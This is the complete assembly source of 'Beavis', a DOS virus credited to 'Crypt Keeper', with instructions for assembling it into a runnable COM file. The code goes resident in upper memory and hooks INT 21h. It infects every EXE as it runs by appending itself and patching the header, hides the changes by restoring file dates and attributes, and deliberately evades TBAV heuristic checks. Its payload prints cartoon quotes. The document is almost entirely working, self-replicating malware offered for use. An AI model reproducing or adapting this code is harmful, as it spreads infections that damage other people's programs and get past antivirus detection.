;****************************************************************************
;*                                  Beavis                                  *
;*                             by Crypt Keeper                              *
;****************************************************************************
 
;Beavis is a memory resident infector of EXE files that infects files as
;they are executed.  It only loads itself resident if a high memory manager
;is present, loading itself into the UMB (above 640k).  It triggers randomly
;at file execution, displaying a random Beavis quote from Beavis and Butthead.
 
;TASM BEAVIS.ASM /M3
;TLINK BEAVIS.OBJ
;EXE2BIN BEAVIS.EXE BEAVIS.COM
;.COM file is ready to run with no modifications.
 
	.model tiny
	.code
 
vtop    equ     $                      ;top of virus code block
 
;Equates --------------------------------------------------------------------
 
vlength equ     vbot-vtop              ;virus length in bytes
heapsiz equ     hbot-heap              ;heap size in bytes
vlres   equ     ((vlength+heapsiz)/16)+1  ;virus length in paragraphs
vlpage  equ     (vlength/512)+1        ;virus length in pages
chkfunc equ     9AD5h                  ;check resident int 21h function
virusid equ     150h                   ;virus ID word in exeheader
 
;----------------------------------------------------------------------------
 
	cld                            ;clear direction flag
 
	db      0BDh                   ;mov bp,
delta   dw      100h                   ;delta offset
 
	lea sp,[bp+(offset(sspace)+30)] ;set up new stack
 
	push ds
	push es                        ;save original EXE segments
 
	mov ax,chkfunc
	xor cx,cx
	mov ds,cx
	pushf                          ;This calls INT 21h while eliminating
	call dword ptr ds:[21h*4]      ;TBAV's undocumented DOS call flag.
 
	push cs
	pop ds
 
	cmp ax,chkfunc-1               ;did virus return reply?
	jne install                    ;if not, install resident
	
	jmp return                     ;if so, return to original program
 
install:
	mov ax,3521h                   ;get int 21h vector
	int 21h
 
	mov [bp+offset(i21veco)],bx
	mov [bp+offset(i21vecs)],es
 
	mov ax,4300h                   ;get himem.sys installed state
	int 2Fh                        ;multiplex interrupt
 
	cmp al,80h                     ;80h in al means himem.sys is loaded
	jne return                     ;Return if no High-Memory manager
 
	mov ax,4310h                   ;get himem.sys entry point adress
	int 2Fh
 
	mov [bp+offset(himem_s)],es
	mov [bp+offset(himem_o)],bx    ;himem.sys entry point
 
	mov ah,10h                     ;allocate UMB (function 10h)
	mov dx,vlres                   ;paragraphs to request
 
	call dword ptr [bp+offset(himem_o)] ;call himem.sys
	mov es,bx                      ;BX will contain segment of memory
 
	mov si,bp                      ;bp=start of virus code
	mov cx,(vlength+(heapsiz+1))/2 ;virus length in words+heap data
	xor di,di
 
	rep movsw                      ;copy virus code up there
 
	push es
	pop ds
 
	mov dx,offset(i21vec)          ;new int 21h vector
	mov ax,2521h                   ;set int 21h vector
	int 21h
 
return: mov ah,51h                     ;Get PSP adress
	int 21h
 
	add bx,16                      ;Compensate for PSP size
 
	pop es
	pop ds                         ;Restore original ES and DS from EXE
	
	cli                            ;Clear interrupts for stack change
 
	mov sp,cs:[bp+offset(old_sp)]
	mov ax,cs:[bp+offset(old_ss)]
	add ax,bx                      ;Find segment for SS
	mov ss,ax                      ;Reset original EXE stack
	
	sti
 
	add cs:[bp+offset(old_cs)],bx  ;Find segment for CS
 
	jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
 
;----------------------------------------------------------------------------
 
move_pointer_end:
	xor cx,cx
	xor dx,dx                      ;move pointer 0 bytes
	
	mov ax,4202h                   ;move pointer to end of file
	int 21h
	ret
 
;Data -----------------------------------------------------------------------
 
talk1   db      'FIRE FIRE FIRE!$'
talk2   db      'Hey butthead this sucks change the channel!$'
talk3   db      'Shut up butthead or I''ll kick your ass!$'
talk4   db      'We''re there dude.$'
talk5   db      'The Beavis virus kicks ass!$'
 
old_sp  dw      0
old_ss  dw      0FFF0h                 ;Old SS:SP
old_ip  dw      0
old_cs  dw      0FFF0h                 ;Old CS:IP
 
;----------------------------------------------------------------------------
 
i21vec: nop
 
	xchg ax,cx                     ;get rid of TBAV's execution intercept
				       ;heuristic flag.
 
	cmp cx,4B00h                   ;load and execute program?
	je vtrigger
 
	cmp cx,4B01h                   ;load program?
	je vtrigger
	
	xchg ax,cx
 
	cmp ax,chkfunc                 ;check if virus is resident?
	je return_reply
 
	jmp dword ptr cs:i21veco
return_reply:
	dec ax                         ;decrement AX
	iret                           ;return from interrupt
vtrigger:
	xchg ax,cx
 
	push ax si bx cx di es ds dx   ;save all used registers
 
	mov ax,4300h                   ;get file attributes
	int 21h
 
	jc exitvec                     ;exit if filename invalid
 
	mov cs:oldattr,cx              ;save old file attributes
 
	xor cx,cx                      ;set attributes to normal
	mov ax,4301h                   ;set file attributes
	int 21h
 
	mov ax,3D02h                   ;open file for read/write access
	int 21h
 
	jc exitvec                     ;exit if open permission denied
 
	mov bx,ax                      ;file handle
	push cs
	pop ds
 
	mov ax,5700h                   ;get file date and time
	int 21h
 
	mov olddate,dx
	mov oldtime,cx                 ;save old file date and time
 
	mov cx,28                      ;28 bytes to read
	mov dx,offset(readbuffer)      ;buffer to recieve data
 
	mov ah,3Fh                     ;read file or device
	int 21h
 
	cmp ax,28
	jb closeexit                   ;close and exit if file too small
 
	cmp init_sp,virusid            ;is file alredy infected?
	je closeexit
 
	mov ax,idword
	xor ax,0ABCDh                  ;kill TBAV's check exe/com flag
	cmp ax,0E697h
	je infect_exe
	cmp ax,0F180h
	je infect_exe                  ;if MZ or ZM, go ahead and infect
 
	jmp short closeexit            ;if not, don't infect
 
exitvec:
	pop dx ds es di cx bx si ax    ;restore all used registers
 
	jmp dword ptr cs:i21veco       ;execute rest of interrupt chain
closeexit:
	mov cx,oldtime
	mov dx,olddate                 ;restore old time and date
 
	mov ax,5701h                   ;set file date and time
	int 21h
 
	mov ah,3Eh                     ;close file with handle
	int 21h
 
	mov cx,cs:oldattr              ;old file attributes
	pop dx ds
	push ds dx                     ;get old filename off stack
 
	mov ax,4301h                   ;set file attributes
	int 21h
 
	mov ah,2Ch                     ;get time
	int 21h
 
	cmp cl,dh                      ;do seconds and minutes line up?
	jne exitvec                    ;if not, no trigger
 
	push cs
	pop ds
 
	inc dl
	mov al,dl
	xor ah,ah
	mov bl,20
	div bl                         ;convert to random number 0-5
 
	cmp al,0
	je _talk1
	cmp al,1
	je _talk2
	cmp al,2
	je _talk3
	cmp al,3
	je _talk4
	cmp al,4
	je _talk5                      ;select message
 
_talk1: mov dx,offset(talk1)
	jmp short _talk
_talk2: mov dx,offset(talk2)
	jmp short _talk
_talk3: mov dx,offset(talk3)
	jmp short _talk
_talk4: mov dx,offset(talk4)
	jmp short _talk
_talk5: mov dx,offset(talk5)
 
_talk:  mov ah,9                       ;print string
	int 21h
 
	jmp short exitvec              ;exit
 
infect_exe:
	les si,dword ptr ds:init_ss    ;get initial SS:SP (reversed)
	mov old_ss,si
	mov old_sp,es
	
	les si,dword ptr ds:init_ip    ;get initial CS:IP
	mov old_cs,es
	mov old_ip,si
	
	call move_pointer_end          ;move file pointer to end of file
 
	mov cx,10h
	div cx                         ;convert to paragraphs
 
	push ax
	sub ax,hsize                   ;subtract header size in paragraphs
 
	pop cx
	cmp ax,cx
	ja _closeexit                  ;If file too small, end infection
 
	mov init_cs,ax
	mov init_ip,dx                 ;set initial CS:IP in exe header
	mov delta,dx                   ;set delta offset in virus
 
	mov init_sp,virusid
	mov init_ss,ax                 ;set initial SS:SP in exe header
	
	add word ptr ds:minmem,vlres   ;add virus length to minimum memory
 
	mov cx,vlength                 ;number of bytes in virus
	xor dx,dx
 
	mov ah,40h                     ;write file or device
	int 21h
 
	call move_pointer_end          ;move file pointer to end of file
	
	mov cx,512
	div cx                         ;change bytes in new file to pages
	cmp dx,0                       ;no remainder?
	je go_ahead_set
	
	inc ax                         ;if remainder, add another page
 
go_ahead_set:
	mov word ptr pages,ax
	mov word ptr lastpg,dx         ;set EXE file size
 
	xor dx,dx
	xor cx,cx
 
	mov ax,4200h                   ;move file pointer to beginning of file
	int 21h
 
	mov cx,28                      ;28 bytes in header
	mov dx,offset(readbuffer)
 
	mov ah,40h                     ;write file or device
	int 21h
 
_closeexit:
	jmp closeexit                  ;close and exit
 
;----------------------------------------------------------------------------
 
copr    db      '[BEAVIS] by Crypt Keeper'
 
;----------------------------------------------------------------------------
 
vbot    equ     $                      ;bottom of virus code
heap    equ     $                      ;Beginning of heap
 
readbuffer:
idword  dw      0                      ;ID word
lastpg  dw      0                      ;Number of bytes in last page
pages   dw      0                      ;Total pages
segent  dw      0                      ;number of entries in segment table
hsize   dw      0                      ;header size in paragraphs
minmem  dw      0                      ;minimum memory to request
maxmem  dw      0                      ;maximum memory to request
init_ss dw      0                      ;initial SS value
init_sp dw      0                      ;initial SP value
negchk  dw      0                      ;negative checksum
init_ip dw      0                      ;initial IP value
init_cs dw      0                      ;initial CS value
reltab  dw      0                      ;offset of relocation table from header
ovnum   dw      0                      ;overlay number
 
himem_o dw      0
himem_s dw      0                      ;himem.sys entry point adress
 
i21veco dw      0
i21vecs dw      0                      ;int 21h vector
 
oldattr dw      0                      ;old file attributes
 
oldtime dw      0
olddate dw      0                      ;old saved time and date
 
hbot    equ     $                      ;bottom of heap
 
sspace  db      32 dup (0)             ;virus stack space
				       ;not used when resident so not
				       ;included in heap space
 
	end